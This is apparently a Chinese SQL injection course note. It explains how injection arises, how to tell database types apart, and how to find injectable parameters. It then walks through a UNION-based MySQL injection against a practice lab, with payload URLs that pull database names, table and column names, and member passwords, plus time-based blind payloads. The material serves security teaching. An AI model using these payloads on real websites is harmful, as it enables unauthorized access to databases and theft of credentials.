前言
在本系列課程學習中,SQL注入漏洞將是重點部分,其中SQL注入又非常復雜,區分各種資料庫型別,提交方法,資料型別等注入,我們需要按部就班的學習,才能學會相關SQL注入的核心,同樣此類漏洞是WEB安全中嚴重的安全漏洞,學習如何利用,挖掘,修復也是很重要的,
注:左邊的比右邊的難,學習順序為從右向左,
一、忍者安全測驗系統使用說明
二、上述思維導圖簡要說明
作業系統:windows和linux對大小寫敏感不同,如果查了作業系統可以避免這個問題,
資料庫名:如果不知道資料庫名查詢的時候會有問題,
資料庫用戶:判定是否為高權限,如果是高權限則選擇的余地更多,
檔案讀寫:檔案讀寫需要路徑,所以可以通過檔案讀寫查到路徑,
注:資料庫5.0以上為高版本,5.0以下為低版本,
三、SQL注入安全測驗中危害
1、通過注入點直接獲取權限,操作后臺資料庫,危害資料
2、通過注入點獲取部分內容,之后通過其他方法來獲取權限,危害網站權限
注:如果SQL陳述句中不存在變數,則不能操作,也就不會產生漏洞,
四、SQL注入產生原理詳細分析
(1)可控變數,帶入資料庫查詢,變數未存在過濾或過濾不嚴謹,即如果過濾比較嚴謹,則沒有注入點,
(2)通過引數傳遞到原有的SQL陳述句中,從而實作自定義的查詢,即把惡意代碼傳遞到對方網站中,
注:(1)和(2)是一個意思,
(3)例題
①下列可能存在注入的編號選項有哪幾個?
www.xiaodi8.com/index.php?id=8
www.xiaodi8.com/?id=10(雖然前面沒有index.php,但是網站默認是加上的,)
www.xiaodi8.com/?id=10&x=1(兩個引數,哪個能注入用哪個)
www.xiaodi8.com/index.php(post注入)
答案:四個都對,但是以目前的實力來說,只能理解到12或者123,,
②引數x有注入,以下哪個注入正確?
www.xiaodi8.com/news.php?y=1 and 1=1&1=2(and 1=1應該寫在x后面)
www.xiaodi8.com/news.php?y=1&x=2 and 1=1
www.xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1
www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1(前面是xx,后面是xxx,引數名不對)
答案:bc
注:注入點要寫在id的后面,
五、搭建第一個SQL注入學習靶場環境
https://blog.csdn.net/weixin_43211186/article/details/103008549
https://www.fujieace.com/penetration-test/sqli-labs-ec.html
注:前半部分用第一個,后半部分用第二個,
六、資料庫結構
1、MySQL資料庫
(1)結構
資料庫a=網站a
? 表名
? 列名
? 資料
資料庫b=網站b
? 表名
? 列名
? 資料
資料庫c=網站c
? 表名
? 列名
? 資料
(2)注入程序
- 獲取資料庫對應網站
- 獲取表名
- 獲取列名
- 獲取資料
(3)資料庫基本命令
show databases; 顯示資料庫名
use 資料庫名 使用這個資料庫
show tables 顯示所有表(表名)
select * fn_member; 所有范圍內查詢member(*表示查詢所有)
select password from fn_member; 在fn_member表里查詢password列
七、怎么判斷資料庫型別
1、前端與資料庫型別
asp:SQL Server,Access
.net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL
2、根據埠判斷
Oracle:默認埠1521
SQL Server:默認埠1433
MySQL:默認埠3306
3、根據資料庫特有函式來判斷
(1)len和length
len():SQL Server 、MySQL以及db2回傳長度的函式,
length():Oracle和INFORMIX回傳長度的函式,
(2)version和@@version
version():MySQL查詢版本資訊的函式
@@version:MySQL和SQL Server查詢版本資訊的函式
(3)substring和substr
MySQL兩個函式都可以使用
Oracle只可呼叫substr
SQL Server只可呼叫substring
4、根據特殊符號進行判斷
/*
是MySQL資料庫的注釋符
--
是Oracle和SQL Server支持的注釋符
;
是子句查詢識別符號,Oracle不支持多行查詢,若回傳錯誤,則說明可能是Oracle資料庫
#
是MySQL中的注釋符,回傳錯誤則說明可能不是MySQL,另外也支持-- 和/**/
5、根據資料庫對字串的處理方式判斷
(1)MySQL
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
(2)Oracle
http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab'
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
(3)SQL Server
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'
6、根據資料庫特有的資料表來判斷
(1)MySQL(version>5.0)
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
(2)Oracle
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
(3)SQL Server
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
7、根據盲注特別函式判斷
(1)MySQL
BENCHMARK(1000000,ENCODE(‘QWE’,‘ASD’))
SLEEP(5)
(2)PostgreSQL
PG_SLEEP(5)
GENERATE_SERIES(1,1000000)
(3)SQL Server
WAITFOR DELAY ‘0:0:5’
八、如何判斷注入點
1、老方法
(1)程序
and 1=1 頁面正常
and 1=2 頁面錯誤
可能存在注入點
(2)原理
在資料庫中存在邏輯運算子(或or、且and、非xor),用and 1=1來判定,如果是1=1表示真且真,其中且就是and,如果是1=2則為真且假,邏輯不成立,所以回傳的是錯誤頁面,
2、新方法
在id=1的后面隨便輸入東西,如果有錯誤,則說明他帶入了資料庫查詢了,則說明有注入點
注:如果結果是404錯誤或者直接跳轉,則說明網站對輸入的東西有檢測,則說明這個網站沒有漏洞,
九、學習第一個資料庫MySQL簡單注入
1、注入步驟
(1)判斷注入
(2)猜解列名數量(欄位數) order by x 錯誤與正常的臨界值
? http://219.153.49.228:48354/new_list.php?id=1 order by 4
(3)報錯猜解準備(目的是為了讓它報錯)
http://219.153.49.228:48354/new_list.php?id=1%20union%20select%1,2,3,4
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,2,3,4
注:報錯數字是隨機產生,報錯什么數字就用什么數字查,比如報了2和3,則用2和3查,
(4)查詢
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,database(),version(),4 (查詢資料庫名稱和資料庫版本)
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4 (查詢資料庫用戶和作業系統)
注:@@version_compile_os后面沒有括號!!!
(5)查詢指定資料庫名mozhe_Discuz_StormGroup下的表名資訊:
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
注解:
union%20select 查詢
table_name 表名
information_schema.tables 記錄所有表名資訊的表
where 條件
table_schema 資料庫名
mozhe_Discuz_StormGroup 需要查詢的資料庫名
group_concat(table_name) 查詢所有表名
(6)查詢指定表名StormGroup_member下的列名資訊:
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
(7)查詢指定資料
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,name,password,4 StormGroup_member
2、資訊收集
資料庫版本:version() 5.7.22-0ubuntu0.16.04.1
資料庫名稱:database() mozhe_Discuz_StormGroup
資料庫用戶:user() root@localhost
作業系統:@@version_compile_os Linux
3、必要知識點
(1)在MySQL5.0以上版本中,MySQL存在一個自帶資料庫名為information_achema,它是一個存盤記錄所有資料庫名、表名、列名的資料庫,也相當于可以通過查詢它獲取指定資料庫下面的表名或列名資訊,
(2)資料庫中符號
.
代表下一級,如xaiodi.user表示xiaodi資料庫下的user表名,(3)information_schema.tables:記錄所有表名資訊的表
? information_schema.columns:記錄所有列名資訊的表
? table_name:表名
? column_name:列名
? table_schema:資料庫名
注:猜解多個資料可以采用limit,x,1變動猜解,x為變數值
十、案例演示:
1、簡易代碼分析SQL注入原理
2、Sqlilabs注入靶場搭建簡要使用
3、墨者靶機真實MYSQL注入演示
十一、涉及資源:
https://github.com/Audi-1/sqli-labs
QQ群檔案-忍者安全測驗系統-禁用軟盤安裝
https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/295569.html
標籤:其他
上一篇:Web安全之檔案上傳漏洞
下一篇:vulnhub DC7 靶場練習